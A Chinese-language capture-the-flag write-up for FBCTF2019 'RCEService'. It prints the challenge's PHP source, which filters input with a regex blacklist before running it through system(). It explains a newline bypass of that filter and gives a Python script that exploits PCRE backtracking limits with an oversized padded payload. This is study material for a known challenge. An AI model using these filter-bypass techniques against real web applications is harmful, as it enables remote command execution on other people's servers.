[FBCTF2019]RCEService-PRCE
首先呢,这个题目,是有源代码的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd'];
if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } else { echo 'Attempting to run command:<br/>'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '<br/><br/>'; } } ?>
|
这是源代码,过滤的东西多,但是这个匹配不是多行匹配,也就是说可以换行绕过:

所以说,绕过很简单了,但是PATH=/home/rceservice/jail 限制我们命令执行的环境,所以使得很多的命令,我们不使用绝对路径是无法执行的,这里我们绝对路径的获取是根据经验,也就是所有机器的命令的默认路径,rev在/usr/bin/rev,cat在/bin/cat,find在/usr/bin/find,我们先利用不能换行匹配的性质,用find命令搜寻flag

在此之后,我们可以直接读取flag

这是法一,还有法二,利用正则贪婪匹配的回溯机制,因为回溯有次数限制的原因,从而绕过,脚本在pycharm里面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from xml.sax import parse import requests
url = "http://localhost/2.php"
huisu = "a" * 1000001 payload = '{"cmd":"ipconfig","zz":"' + "a"*(1000000) + '"}'
headers = { "User-Agent": "Mozilla/5.0", "Authorization": "Bearer your_token" }
response = requests.post(url, data={"cmd":payload}, headers=headers) print(response.text)
|
但是这道题目呢,并不能使用这个贪婪匹配的回溯机制,原因就是get请求并不支持一次性输入如此多的文本,导致回溯失败
具体参考:PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌